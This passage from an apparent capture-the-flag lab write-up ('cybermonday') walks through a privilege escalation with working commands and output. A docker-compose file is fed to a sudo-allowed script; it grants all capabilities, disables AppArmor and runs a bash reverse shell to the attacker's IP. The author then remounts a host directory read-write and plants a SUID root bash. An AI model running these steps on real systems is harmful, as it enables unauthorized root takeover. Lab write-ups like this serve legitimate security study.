Remount
Although the security measures in the /opt/secure_compose.py
prevents providing a write access to volume, there is a way to make it writable.
according to the official documentation of the mount program,
remount
option can be used to remount an already-mounted filesystem followed by an additional option to reassign the access level
this should bypass the restriction(volume must end with :ro
) and make the mounted volume write-able
There are 2 whitelisted directories
One is the /mnt
directory, which I don’t have write access to and the other one is the home directory of the current user
I’d go with the latter option since I can write to it
john@cybermonday:~$ mkdir letsMount ; cd letsMount
I will first create a directory in the home directory of the current user This will make things nice and organized
john@cybermonday:~/letsMount$ cat pe.yml
version: '3'
services:
privilegeescalation:
image: nginx
command: bash -c 'bash -i >& /dev/tcp/10.10.14.12/1234 0>&1'
volumes:
- "/home/john/letsmount:/mnt:ro"
cap_add:
- ALL
security_opt:
- apparmor:unconfined
Then, I will create an arbitrary YML file to load;
command: bash -c 'bash -i >& /dev/tcp/10.10.14.12/1234 0>&1'
- the command will be executed upon the creation of the container
"/home/john/letsmount:/mnt:ro"
- mounting the host’s
/home/jon/letsMount
directory to the/mnt
directory of the container- with the
:ro
option at the end as it is mandatory
- with the
- mounting the host’s
john@cybermonday:~/letsMount$ sudo -u root /opt/secure_compose.py /home/john/letsMount/pe.yml
Starting services...
Upon executing the sudo privileged command with the created YML file..
I get a call back with a reverse shell
root@358676b50a0c:/# mount -o remount,rw /mnt
mount -o remount,rw /mnt
mount: /mnt: permission denied.
dmesg(1) may have more information after failed mount system call.
Initially, attempting to remount the /mnt
directory with both read and write accesses fails with the permission denied error
Unprivileged Syscall From Within
Looking into it online, I came across a post online that provides both explanation and solution
- It failed since syscall is not allowed in the unprivileged Docker container
- The initial solution doesn’t work for the current situation as the privilege option is not allowed
- The other solution might work as they weren’t mentioned in the
/opt/secure_compose.py
file- adding capabilities essentially increases the privilege level
- disabling the apparmor, which Docker enables by default, allows accessing the host’s system resource
version: '4'
services:
privilegeEscalation:
image: nginx
command: bash -c 'bash -i >& /dev/tcp/10.10.14.12/1234 0>&1'
volumes:
- "/home/john/letsMount:/mnt:ro"
cap_add:
- ALL
security_opt:
- apparmor:unconfined
This is the modified version
I will execute the sudo privileged command again to start the container
┌──(kali㉿kali)-[~/archive/htb/labs/cybermonday]
└─$ nnc 1234
listening on [any] 1234 ...
connect to [10.10.14.12] from (UNKNOWN) [10.10.11.228] 60802
bash: cannot set terminal process group (1): Inappropriate ioctl for device
bash: no job control in this shell
root@60f7e2a83cc3:/# cd /mnt ; ls
pe.yml
root@60f7e2a83cc3:/mnt# touch blah
touch: cannot touch 'blah': Read-only file system
I get a reverse shell back and still cannot write to the /mnt
directory for now
root@60f7e2a83cc3:/mnt# mount -o remount,rw /mnt
root@60f7e2a83cc3:/mnt# touch blah
root@60f7e2a83cc3:/mnt# ls
blah
pe.yml
This time, remounting worked as the new Docker configuration allows so
I can now write to the /mnt
directory, which is mapped to the host filesystem
This is really important because I am not the john
user here in this container.
I am the root
user
SUID bash
root@60f7e2a83cc3:/mnt# cp /bin/bash ./blash ; chmod +s ./blash
I can make a SUID bash to the the host filesystem as the root
user
The ownership and permission sets inherits
john@cybermonday:~/letsMount$ ./blash
./blash: /lib/x86_64-linux-gnu/libc.so.6: version `GLIBC_2.33' not found (required by ./blash)
./blash: /lib/x86_64-linux-gnu/libc.so.6: version `GLIBC_2.36' not found (required by ./blash)
./blash: /lib/x86_64-linux-gnu/libc.so.6: version `GLIBC_2.34' not found (required by ./blash)
From the host side, Attempting to execute the SUID binary as the john
user fails due to not having the requires C library
This could be worked around.
From the host
john@cybermonday:~/letsMount$ rm ./blash ; cp /bin/bash ./blash
I can first create a copy of the Bash binary as the john
user from the host side
root@60f7e2a83cc3:/mnt# chown root:root ./blash ; chmod +s ./blash
Then inject the ownership and SUID to the copy as the root
user from within the container
Checking back at it from the host side, the copy now is a SUID binary and has the ownership of
root:root
john@cybermonday:~/letsMount$ ./blash -p
blash-5.1# whoami
root
blash-5.1# hostname
cybermonday
blash-5.1# ip a
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000
link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
inet 127.0.0.1/8 scope host lo
valid_lft forever preferred_lft forever
inet6 ::1/128 scope host
valid_lft forever preferred_lft forever
2: eth0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc mq state UP group default qlen 1000
link/ether 00:50:56:b9:fd:cf brd ff:ff:ff:ff:ff:ff
altname enp3s0
altname ens160
inet 10.10.11.228/23 brd 10.10.11.255 scope global eth0
valid_lft forever preferred_lft forever
inet6 dead:beef::250:56ff:feb9:fdcf/64 scope global dynamic mngtmpaddr
valid_lft 86400sec preferred_lft 14400sec
inet6 fe80::250:56ff:feb9:fdcf/64 scope link
valid_lft forever preferred_lft forever
3: docker0: <NO-CARRIER,BROADCAST,MULTICAST,UP> mtu 1500 qdisc noqueue state DOWN group default
link/ether 02:42:5d:aa:97:80 brd ff:ff:ff:ff:ff:ff
inet 172.17.0.1/16 brd 172.17.255.255 scope global docker0
valid_lft forever preferred_lft forever
4: br-ccc51e38e8e5: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc noqueue state UP group default
link/ether 02:42:d1:f6:a2:f8 brd ff:ff:ff:ff:ff:ff
inet 172.18.0.1/16 brd 172.18.255.255 scope global br-ccc51e38e8e5
valid_lft forever preferred_lft forever
inet6 fe80::42:d1ff:fef6:a2f8/64 scope link
valid_lft forever preferred_lft forever
6: veth3da0451@if5: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc noqueue master br-ccc51e38e8e5 state UP group default
link/ether 12:84:1d:c4:82:54 brd ff:ff:ff:ff:ff:ff link-netnsid 0
inet6 fe80::1084:1dff:fec4:8254/64 scope link
valid_lft forever preferred_lft forever
8: veth8d534ae@if7: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc noqueue master br-ccc51e38e8e5 state UP group default
link/ether 22:5a:bd:69:a1:84 brd ff:ff:ff:ff:ff:ff link-netnsid 3
inet6 fe80::205a:bdff:fe69:a184/64 scope link
valid_lft forever preferred_lft forever
10: veth8e36f78@if9: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc noqueue master br-ccc51e38e8e5 state UP group default
link/ether 9e:98:a9:dc:3f:cd brd ff:ff:ff:ff:ff:ff link-netnsid 1
inet6 fe80::9c98:a9ff:fedc:3fcd/64 scope link
valid_lft forever preferred_lft forever
12: vetha22a302@if11: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc noqueue master br-ccc51e38e8e5 state UP group default
link/ether c2:c3:8a:cc:bb:e7 brd ff:ff:ff:ff:ff:ff link-netnsid 4
inet6 fe80::c0c3:8aff:fecc:bbe7/64 scope link
valid_lft forever preferred_lft forever
14: veth6ef55f8@if13: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc noqueue master br-ccc51e38e8e5 state UP group default
link/ether 0a:86:68:90:89:77 brd ff:ff:ff:ff:ff:ff link-netnsid 2
inet6 fe80::886:68ff:fe90:8977/64 scope link
valid_lft forever preferred_lft forever
16: veth331d22a@if15: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc noqueue master br-ccc51e38e8e5 state UP group default
link/ether 36:71:24:94:15:88 brd ff:ff:ff:ff:ff:ff link-netnsid 5
inet6 fe80::3471:24ff:fe94:1588/64 scope link
valid_lft forever preferred_lft forever
63: br-5b1dd512be6b: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc noqueue state UP group default
link/ether 02:42:17:23:12:17 brd ff:ff:ff:ff:ff:ff
inet 192.168.48.1/20 brd 192.168.63.255 scope global br-5b1dd512be6b
valid_lft forever preferred_lft forever
inet6 fe80::42:17ff:fe23:1217/64 scope link
valid_lft forever preferred_lft forever
65: veth117b29b@if64: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc noqueue master br-5b1dd512be6b state UP group default
link/ether 16:63:6c:53:05:1f brd ff:ff:ff:ff:ff:ff link-netnsid 6
inet6 fe80::1463:6cff:fe53:51f/64 scope link
valid_lft forever preferred_lft forever
System Level Compromise
The -p
flag to activate the privileged mode (SUID) since bash
alone doesn’t run with SUID by default